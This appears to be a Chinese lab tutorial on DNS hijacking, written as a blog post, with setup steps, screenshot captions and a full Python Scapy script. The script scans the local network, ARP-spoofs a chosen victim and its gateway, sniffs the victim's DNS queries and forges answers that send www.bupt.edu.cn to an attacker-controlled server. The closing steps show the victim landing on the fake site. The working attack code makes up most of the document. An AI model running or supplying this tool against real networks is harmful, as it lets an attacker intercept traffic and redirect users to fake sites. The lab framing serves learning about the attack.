Python程序之DNS劫持

  • 实验环境:

虚假网站端:虚拟机Windows server 2008

攻击机:Windows 7

靶机端:Windows 10

  • 实验步骤:

设置虚拟机网络适配器为桥接模式

虚拟机设备设置

Python程序之DNS劫持_第1张图片

编辑虚拟网络编辑器

Python程序之DNS劫持_第2张图片

查询Windows server 2008的IP地址并搭建自己的网站

Python程序之DNS劫持_第3张图片   Python程序之DNS劫持_第4张图片

新建一个自己的网站(即攻击后劫持网站)

编写DNS劫持代码

from scapy.all import *
import sys
import os
import re 
import time
from threading import Thread
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)


def main(ip1):
    print("  ")
    #获取本机上的IP及网关
    for line in os.popen("route print"):
        s=line.strip()
        if s.startswith("0.0.0.0"):
            localip=s.split()[3]
            gw=s.split()[2]
            print("本机IP:%s     网关:%s"%(localip,gw))
            break
    else:
        print("网络连接不正常!")
        os.exit(1)
    def scan():
        scanip=gw+"/24"
        p=Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=scanip)
        ans,unans=srp(p,timeout=2,verbose=0)
        print("一共扫描到%d台主机:"%len(ans))
        for send,recv in ans:
            print(recv[Ether].src+"------>"+recv[ARP].psrc)
    
    #对特定网站自动发送dns应答
    def dnsposion(p):
        weblist=["www.bupt.edu.cn"]
        if p.haslayer(DNS):
            ip=p[IP]
            udp=p[UDP]
            dns=p[DNS]
            domain=dns.qd.qname.decode()[:-1]
            print("收到一个请求 ----->",domain)
            if domain in weblist:
                #自动发送应答包
                nip=IP(src=ip.dst,dst=ip.src)
                nudp=UDP(sport=udp.dport,dport=udp.sport)
                ndns=DNS(id=dns.id,qr=1,qd=dns.qd,an=DNSRR(rrname=dns.qd.qname,rdata=ip1))
                send(nip/nudp/ndns)
                print("应答:%s -----> %s"%(domain,ip1))
    
    #抓包并保存到文件
    def capture(vic,t):
        filter1="udp dst port 53 and host "+vic
        pkts=sniff(filter=filter1,timeout=t,prn=dnsposion)
        fname="p%d.pacp"%int(time.time())
        wrpcap(fname,pkts)
        print("抓包数据已经存入文件%s。"%fname)

    #ARP攻击
    def spoof():
        vic=input("请输入攻击目标:")  #vic被攻击者s
        t=int(input("请输入攻击时间(单位:秒):"))
        ct=Thread(target=capture,args=(vic,t))
        ct.start()
        for i in range(5*t):
            sendp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=vic,psrc=gw),verbose=0)
            sendp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=gw,psrc=vic),verbose=0)
            time.sleep(0.2)
        ct.join()
        print("攻击结束!")
    
    #流量分析
    def analy():
        os.system("dir *.pcap")
        fname=input("请输入要分析的文件名")
        pkts=rdpcap(fname)
 
    #快捷选择
    while 1:
        sel=input("请选择要进行的操作:1、局域网扫描;2、攻击欺骗;3、流量分析;4、退出\n")
        if sel=="1":
            scan()
        elif sel=="2":
            if not gw:
                print("请先执行扫描程序!")
            else:
                spoof()
        elif sel=="3":
            analy()
        elif sel=="4":
            print("欢迎下次使用!再见!")
            break
        else:
            print("输入有误请重新输入!")
    
        
if __name__=="__main__":
    main(sys.argv[1])

Win+R弹出运行界面,找到Routing and RemoteAccess (RemoteAccess)点击属性,把启动类型修改为手动,确定并启动

(此处为修改攻击机的服务管理器)

Python程序之DNS劫持_第5张图片

可以开始攻击

  • 首先进行局域网内存活主机扫描

Python程序之DNS劫持_第6张图片

  • 开始攻击欺骗 

Python程序之DNS劫持_第7张图片

被攻击后靶机网关情况

Python程序之DNS劫持_第8张图片

可以看到攻击机的网关和靶机网关已经一致

靶机被欺骗的网站界面

Python程序之DNS劫持_第9张图片

可以看出网站已经变为Windows server 2008中搭建的网站,而不是正确的网站了

正确网站对比图

Python程序之DNS劫持_第10张图片 

 

你可能感兴趣的:(Python程序)